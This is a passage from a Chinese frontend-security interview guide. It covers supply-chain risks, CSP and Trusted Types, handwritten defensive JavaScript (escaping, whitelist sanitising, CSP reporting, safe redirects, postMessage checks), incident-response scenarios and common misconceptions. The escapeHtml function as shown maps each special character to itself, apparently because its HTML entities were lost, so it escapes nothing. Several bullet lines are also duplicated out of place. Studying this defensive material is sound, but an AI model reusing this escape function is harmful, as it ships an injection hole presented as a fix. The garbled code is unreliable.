链 4 · 供应链 → 依赖投毒 → 制品可信
- 面试官:前端供应链风险有哪些入口?
- 要点:
postinstall执行任意代码、依赖混淆(内部包名被公共源抢注)、维护者账号被盗、CDN 第三方脚本被篡改、构建机凭据泄漏。
- 要点:
- 追问:
package-lock.json能解决吗?- 要点:只能锁定版本与完整性哈希,防不住「首次安装就装了恶意版本」与「维护者主动发新版本」;还需要依赖审计、来源白名单、
--ignore-scripts、最小权限 CI token。
- 要点:只能锁定版本与完整性哈希,防不住「首次安装就装了恶意版本」与「维护者主动发新版本」;还需要依赖审计、来源白名单、
- 再追问:第三方脚本怎么管?
- 要点:能自托管就自托管;必须外链时用 SRI + 固定版本 URL,配 CSP 白名单与
sandboxiframe 隔离;上线前做体积与行为审查,出问题能一键下线。
- 要点:能自托管就自托管;必须外链时用 SRI + 固定版本 URL,配 CSP 白名单与
链 5 · CSP → 绕过 → Trusted Types
- 面试官:严格 CSP 怎么写?
- 要点:
default-src 'self',script-src 'nonce-xxx' 'strict-dynamic',object-src 'none',base-uri 'self',frame-ancestors 'none',form-action 'self';先 Report-Only 再强制。
- 要点:
- 追问:为什么有 nonce 还需要
strict-dynamic?- 要点:现代应用会动态插入脚本,nonce 无法预知;
strict-dynamic让受信脚本加载的脚本也被信任,同时忽略域名白名单,减少维护成本。
- 要点:现代应用会动态插入脚本,nonce 无法预知;
- 再追问:CSP 被绕过怎么办?
- 要点:收缩白名单与上传域、移除
unsafe-eval、补base-uri/form-action;同时用 Trusted Types 在 API 层禁止字符串写入 DOM,让绕过失去注入点。
- 要点:收缩白名单与上传域、移除
8.3 手写题
题 1 · HTML 转义与富文本白名单净化
/**
* 纯文本插值:按 HTML 文本上下文转义。
* @param {string} input
* @returns {string}
*/
export function escapeHtml(input) {
const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' };
return String(input).replace(/[&<>"']/g, (ch) => map[ch]);
}
/**
* 富文本净化:白名单标签 + 属性 + 协议。
* 说明:教学实现,生产建议用 DOMPurify(处理了 mXSS 与命名空间)。
* @param {string} html 不可信 HTML
* @returns {string} 安全 HTML
*/
export function sanitize(html) {
const ALLOWED_TAGS = new Set(['P', 'BR', 'STRONG', 'EM', 'UL', 'OL', 'LI', 'A', 'CODE', 'PRE']);
const ALLOWED_ATTRS = { A: ['href', 'title', 'rel'] };
const SAFE_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
const doc = new DOMParser().parseFromString(html, 'text/html');
const walk = (node) => {
[...node.children].forEach((el) => {
if (!ALLOWED_TAGS.has(el.tagName)) {
el.replaceWith(...el.childNodes); // 保留文字,去掉标签
return;
}
[...el.attributes].forEach((attr) => {
const allowed = ALLOWED_ATTRS[el.tagName] ?? [];
if (!allowed.includes(attr.name)) el.removeAttribute(attr.name);
});
if (el.tagName === 'A' && el.hasAttribute('href')) {
try {
const url = new URL(el.getAttribute('href'), location.origin);
if (!SAFE_PROTOCOLS.has(url.protocol)) el.removeAttribute('href');
else el.setAttribute('rel', 'noopener noreferrer');
} catch {
el.removeAttribute('href');
}
}
walk(el);
});
};
walk(doc.body);
return doc.body.innerHTML;
}
追问:
- 为什么不用正则做净化?→ HTML 容错解析会产生意外结构,正则极易被畸形标签绕过;必须用解析器。
- 黑名单(禁
script)有什么问题?→ 绕过方式太多(大小写、命名空间、事件属性、SVG 内脚本),应使用白名单。 - 前端净化后服务端还要做吗?→ 要。前端只保护当前渲染,服务端仍需在存储与输出时校验,防止其他客户端直接调接口。
题 2 · CSP 报表收集与灰度
/**
* 监听 CSP 违规并上报,采样避免刷爆日志。
* @param {{endpoint: string, sampleRate?: number}} options
* @returns {() => void} 取消监听
*/
export function reportCsp({ endpoint, sampleRate = 0.1 }) {
const handler = (event) => {
if (Math.random() > sampleRate) return;
const payload = {
blockedURI: event.blockedURI,
violatedDirective: event.violatedDirective,
effectiveDirective: event.effectiveDirective,
documentURI: event.documentURI,
disposition: event.disposition,
sample: sampleRate,
};
navigator.sendBeacon(endpoint, JSON.stringify(payload));
};
document.addEventListener('securitypolicyviolation', handler);
return () => document.removeEventListener('securitypolicyviolation', handler);
}
追问:
- 为什么用
sendBeacon?→ 页面卸载时也能可靠发送,不阻塞导航。 report-only有什么用?→ 先观察不拦截,收集足够数据再切强制模式,避免上线即白屏。- 上报里可能含敏感 URL 吗?→ 会,
blockedURI可能带查询参数,上报前应脱敏。
题 3 · 安全的跳转与 postMessage 封装
/**
* 只允许站内跳转,拒绝协议相对、反斜杠、伪协议与跨源。
* @param {string} target 用户输入
* @param {string} [fallback='/'] 兜底
*/
export function safeRedirect(target, fallback = '/') {
if (!target) return fallback;
if (!target.startsWith('/')) return fallback;
if (target.startsWith('//') || target.includes('\\')) return fallback;
try {
const url = new URL(target, location.origin);
if (url.origin !== location.origin) return fallback;
return `${url.pathname}${url.search}${url.hash}`;
} catch {
return fallback;
}
}
/**
* postMessage 封装:发送时锁定目标源,接收时校验来源与结构。
* @param {Window} target
* @param {string} origin
*/
export function createChannel(target, origin) {
return {
/**
* @param {{type: string, payload?: unknown}} message
*/
send(message) {
target.postMessage(message, origin);
},
/**
* @param {(msg: {type: string, payload?: unknown}) => void} handler
* @returns {() => void} 取消监听
*/
listen(handler) {
const onMessage = (event) => {
if (event.origin !== origin) return;
const data = event.data;
if (!data || typeof data !== 'object' || typeof data.type !== 'string') return;
handler(data);
};
window.addEventListener('message', onMessage);
return () => window.removeEventListener('message', onMessage);
},
};
}
追问:
- 为什么不能用
postMessage(data, '*')?→ 任何嵌入方都能收到,可能泄漏会话内数据。 - 为什么只校验
origin还不够?→ 还要校验消息结构(type、字段类型),避免被可信源的其他页面误触发。 event.source能用来判断发送方吗?→ 可以用作辅助(比对已知窗口引用),但不能替代origin校验。
8.4 场景设计题
题 1 · 市场部要接入 5 个第三方脚本(埋点、客服、A/B、广告、热力图),要求「不拖慢首屏、不被一家拖垮、出事能下线」。你怎么设计接入规范?
评估点:是否分「准入、加载、隔离、监控、退出」五层。
参考方案:
- 准入:登记负责人、用途、域名、体积预算、数据处理范围;要求提供固定版本 URL 与 SRI 哈希;评估是否真的必需。
- 加载:全部 async/defer,延后到首屏后;按需触发(打开客服面板才加载);统一走内部代理域名,便于封禁与缓存。
- 隔离:广告/热力图放
sandboxiframe;必须同页执行的限定命名空间,禁止改写全局原型与document.write。 - 监控:采集各脚本的加载失败率、长任务占比、JS 错误归属、外发请求域名;异常自动摘除。
- 退出:每个脚本独立开关,不发版即可下线;定期复审无主脚本。
加分:指出第三方脚本是性能与安全的最大不确定性,应设总体积与主线程时间预算;指出 document.write 类脚本必须禁止。
减分:全部同步引入;只做体积审查不做行为隔离;没有下线与回滚机制。
题 2 · 凌晨收到告警:有用户反馈「打开评论区就跳到博彩网站」,你如何处置?
评估点:止血优先级、影响面判断、根因与加固。
参考方案:
- 止血:立即下线评论展示(开关)或加 WAF 规则;如果怀疑 Cookie 被窃,吊销会话并强制重新登录。
- 判断影响面:从日志与 CSP 报告确认注入内容、出现时间、受影响页面与用户量;判断是存储型还是 DOM 型。
- 清理数据:定位并清洗库中恶意内容,避免重新上线后再次触发。
- 定位根因:检查最近的渲染改动、富文本过滤、第三方组件;复现 payload。
- 修复与验证:补消毒/编码,加安全用例;CSP 收紧;灰度验证。
- 复盘:为何没被拦住(缺门禁/缺测试/评审遗漏),补 lint、测试与上线检查。
加分:先止血再定位;同时处理「已入库的脏数据」;指出要评估是否需要通知用户与合规。
减分:先改代码再下线;只修前端不清理数据;不做影响面评估。
8.5 最容易答错的点
| 常见说法 | 纠正 |
|---|---|
「转义了 <script> 就安全」 | 事件属性、javascript:、SVG、CSS 上下文都能绕过 |
| 「CSP 能完全防住 XSS」 | 配置不当可被 JSONP、CDN、内联脚本绕过 |
| 「CSRF 需要读到响应才有危害」 | 攻击只需请求发生,不需要读响应 |
「SameSite=Lax 就够防 CSRF」 | 顶层 GET 导航仍带 Cookie,同站子域也不受限 |
| 「JWT 放在前端更安全」 | 存储位置决定攻击面,XSS 可读取 localStorage |
| 「HTTPS 能防 XSS」 | 它只保证传输加密,不校验内容 |
| 「前端加密密码就安全了」 | 密钥在前端可见,真正的防线是 HTTPS + 服务端哈希 |
| 「锁版本就不会被投毒」 | 首次安装、维护者发版、CDN 篡改都不受 lockfile 保护 |
| 「隐藏按钮就是权限控制」 | 接口可被直接调用,必须服务端鉴权 |
「X-XSS-Protection 能防 XSS」 | 已被移除或默认关闭,不应依赖 |
「sandbox 加了就隔离了」 | 同时给 allow-scripts 与 allow-same-origin 等于失效 |
| 「安全是一次性项目」 | 没有门禁与回归用例,同类问题会反复出现 |
9. 延伸资源
- OWASP Top 10 与 OWASP Cheat Sheet Series(XSS/CSRF/CSP/文件上传的权威清单)
- OWASP ASVS(应用安全验证标准,可用于验收)
- MDN:Content Security Policy、
Set-Cookie、Trusted Types、sandbox - web.dev:Security headers、Trusted Types、CSP 实战
- Google CSP Evaluator(检查策略强度与已知绕过)
- DOMPurify 文档与配置项;Sanitizer API 草案
- SLSA / Sigstore / CycloneDX / SPDX(供应链与 SBOM)
- OAuth 2.0 Security Best Current Practice、OIDC 规范
- 《Web Application Security》(O'Reilly)
- 各浏览器安全团队博客:CSP 绕过与缓解演进